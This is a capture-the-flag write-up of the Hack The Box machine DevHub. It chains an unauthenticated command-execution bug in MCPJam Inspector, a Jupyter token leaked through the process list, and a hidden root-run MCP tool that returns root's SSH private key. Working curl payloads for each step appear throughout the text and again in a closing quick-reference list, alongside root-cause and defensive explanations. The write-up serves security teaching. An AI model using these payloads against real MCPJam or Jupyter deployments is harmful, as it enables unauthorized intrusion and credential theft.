Back to blog
← Back to posts

HTB: DevHub


DevHub is a tour of an MCP developer toolchain gone wrong — no memory-corruption, no clever exploit primitive, just three services trusting each other more than they should. The entry point is a fresh 2026 bug: CVE-2026-23744, unauthenticated RCE in MCPJam Inspector, which will happily spawn any process you name. From that foothold it's a chain of leaked secrets — a Jupyter token sitting in the process list, source code you can read but shouldn't, and a "hidden" MCP admin tool running as root that hands over root's SSH key for the asking. A great example of how AI-tooling sprawl adds attack surface that behaves like classic misconfiguration.
DevHub compromise chain: unauthenticated MCPJam Inspector RCE (CVE-2026-23744) plants an SSH key for mcp-dev, ss and ps leak a Jupyter token, the token drives the Jupyter kernel API to run code as analyst for user.txt, analyst reads the opsmcp Flask source with a hardcoded API key and a hidden ops._admin_dump tool, and calling that root-run tool dumps root's id_rsa for root.txt
MCPJam :6274 CVE-2026-23744 RCE mcp-dev (SSH) leaked Jupyter token analyst hidden MCP tool root id_rsa root

Reconnaissance

Three ports: SSH, HTTP, and an unusual one on 6274.

nmap
$ nmap -sC -sV -p- --min-rate 5000 <TARGET_IP> 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx |_http-title: Did not follow redirect to http://devhub.htb/ 6274/tcp open http Node.js

The port-80 landing page is an "Internal Development & Analytics Platform" and calls out three components — an MCP Inspector on port 6274, a Jupyter-based Analytics Dashboard (internal, localhost:8888), and a Code Repository. Browsing to http://devhub.htb:6274 opens MCPJam; its Settings page reports MCPJam Version: v1.4.2.

MCP = Model Context Protocol, the standard for wiring LLM agents to tools. MCPJam Inspector is a developer UI for building and testing MCP servers — the sort of AI-adjacent tooling that ships fast and gets exposed by accident.

Foothold — CVE-2026-23744 (MCPJam Inspector RCE)

MCPJam Inspector ≤ 1.4.2 binds to 0.0.0.0 and exposes an unauthenticated POST /api/mcp/connect. The endpoint takes a serverConfig describing a stdio MCP server to launch — and it spawns that command with those args directly on the host. There's no allow-list: name any binary and it runs. That's arbitrary command execution, no auth, pre-everything (patched in 1.4.3).

the vulnerable request
POST /api/mcp/connect HTTP/1.1 Content-Type: application/json {"serverConfig":{"command":"bash","args":["-c","<your command>"],"env":{}},"serverId":"pwn"}

Public PoCs fire a reverse shell here. I went for something more stable: rather than catch a shell, use the single command execution to plant my SSH public key in the running user's authorized_keys, then log in properly. One request:

RCE → SSH key persistence
$ ssh-keygen -t ed25519 -f devhub_key -N '' $ CMD="mkdir -p ~/.ssh && echo '$(cat devhub_key.pub)' >> ~/.ssh/authorized_keys" $ curl -s http://<TARGET_IP>:6274/api/mcp/connect -H 'Content-Type: application/json' \ -d "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"$CMD\"],\"env\":{}},\"serverId\":\"pwn\"}" {"success":false,"error":"...MCP error -32000: Connection closed"} # expected: bash ran, then exited

The MCP handshake "fails" because our bash ran the append and exited instead of speaking the protocol — but the command executed. The key lands, and we get a clean session:

ssh mcp-dev@devhub
$ ssh -i devhub_key mcp-dev@<TARGET_IP> mcp-dev@devhub:~$ id uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)

Internal Recon — Two Loopback Services

The interesting surface is bound to localhost. ss -tulpn shows two internal listeners the external scan couldn't see:

ss -tulpn
mcp-dev@devhub:~$ ss -tulpn | grep LISTEN 127.0.0.1:5000 LISTEN # Flask "opsmcp" — running as root 127.0.0.1:8888 LISTEN # Jupyter Lab — running as analyst 0.0.0.0:6274 LISTEN # MCPJam 0.0.0.0:22 / :80

Jupyter needs a token, and Jupyter puts its token on its own command line. ps hands it over, and shows the Flask app's owner too:

ps aux — the token is right there
mcp-dev@devhub:~$ ps aux | grep -E 'jupyter|opsmcp' analyst jupyter-lab --ip=127.0.0.1 --port=8888 --notebook-dir=/home/analyst/notebooks \ --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 root /home/analyst/jupyter-env/bin/python3 /opt/opsmcp/server.py
Secrets on a command line are visible to every user on the box via /proc/<pid>/cmdline — that's what ps reads. Tokens, passwords and keys belong in environment files or a secrets store with restrictive perms, never in argv.

analyst & user.txt — Jupyter Code Execution

Both internal services are loopback-only, so I forwarded them over the SSH session (-L 8888:127.0.0.1:8888 -L 5000:127.0.0.1:5000). With the token, Jupyter's kernel API is a code-execution primitive: start a kernel over REST, then push an execute_request over the kernel WebSocket. Anything you run executes as analyst:

Jupyter kernel exec → analyst
# POST /api/kernels (Authorization: token …) → open ws /api/kernels/<id>/channels # send execute_request with: import os; print(os.popen("id; cat /home/analyst/user.txt").read()) uid=1002(analyst) gid=1002(analyst) groups=1002(analyst) [redacted — user flag]
A Jupyter server is a remote code-execution service by design — its whole job is to run code you send it. The only thing standing between the network and arbitrary execution is that token, and here the token was readable by any local user.

Root — The Hidden MCP Tool

As analyst we can now read /opt/opsmcp/server.py (owner analyst:analyst, mode 0640) — the source of that root-owned Flask app on port 5000. It's an "operations" API that exposes MCP-style tools, and it has two problems baked in:

Privesc via the hidden MCP tool: analyst reads /opt/opsmcp/server.py which defines VISIBLE_TOOLS, HIDDEN_TOOLS and a hardcoded VALID_API_KEY; /tools/list returns only visible tools but /tools/call validates against ALL_TOOLS so the unlisted ops._admin_dump is callable, and running as root it opens and returns /root/.ssh/id_rsa
/opt/opsmcp/server.py (excerpt)
VALID_API_KEY = "opsmcp_secret_key_4f5a6b7c8d9e0f1a" # hardcoded VISIBLE_TOOLS = { "ops.system_status": ..., "ops.list_services": ..., ... } HIDDEN_TOOLS = { "ops._admin_dump": ..., "ops._debug_mode": ... } ALL_TOOLS = {**VISIBLE_TOOLS, **HIDDEN_TOOLS} @app.route('/tools/list') def list_tools(): return jsonify({"tools": list(VISIBLE_TOOLS.keys())}) # hides the admin tool @app.route('/tools/call', methods=['POST']) def call_tool(): if tool_name not in ALL_TOOLS: ... # but accepts it anyway if tool_name == "ops._admin_dump" and target == "ssh_keys": return open('/root/.ssh/id_rsa').read() # runs as root

The tool is "hidden" only in the sense that /tools/list doesn't advertise it — /tools/call validates against ALL_TOOLS, so it's fully callable. And because the whole process runs as root, it can read root's private key. One request with the leaked key:

call the hidden tool → root's id_rsa
$ curl -s http://127.0.0.1:5000/tools/call \ -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \ -H 'Content-Type: application/json' \ -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' {"root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\n..."}
ssh root@devhub
$ chmod 600 root_id_rsa && ssh -i root_id_rsa root@<TARGET_IP> root@devhub:~# id && cat /root/root.txt uid=0(root) gid=0(root) groups=0(root) [redacted — root flag]
Two failures stack here: a hardcoded credential in source, and treating obscurity as authorization — an unlisted endpoint is still an endpoint. A privileged service that exposes a "dump credentials" operation at all is the real problem; hiding it from a listing changes nothing.

Why it worked

StageRoot cause
→ mcp-devMCPJam Inspector ≤1.4.2 spawns an attacker-named process from an unauthenticated endpoint bound to 0.0.0.0 — CVE-2026-23744 (CWE-78 / CWE-306)
→ analystJupyter token passed on the command line, readable by any local user via ps / /proc (CWE-214 / CWE-522)
→ rootRoot service with a hardcoded API key and a callable "hidden" tool that dumps /root/.ssh/id_rsa (CWE-798 / CWE-269 / security-by-obscurity)

Key commands

quick reference
# 1. MCPJam RCE → plant SSH key → mcp-dev curl http://<IP>:6274/api/mcp/connect -d \ '{"serverConfig":{"command":"bash","args":["-c","echo KEY >> ~/.ssh/authorized_keys"]},"serverId":"x"}' ssh -i devhub_key mcp-dev@<IP> # 2. Leak Jupyter token, forward the internal services ps aux | grep jupyter # --ServerApp.token=... ssh -i devhub_key -L 8888:127.0.0.1:8888 -L 5000:127.0.0.1:5000 mcp-dev@<IP> # 3. Jupyter kernel API → code exec as analyst → user.txt # POST /api/kernels + ws execute_request: os.popen("cat /home/analyst/user.txt") # 4. Read the Flask source, call the hidden root tool → root.txt curl http://127.0.0.1:5000/tools/call -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' \ -d '{"name":"ops._admin_dump","arguments":{"target":"ssh_keys","confirm":true}}' ssh -i root_id_rsa root@<IP>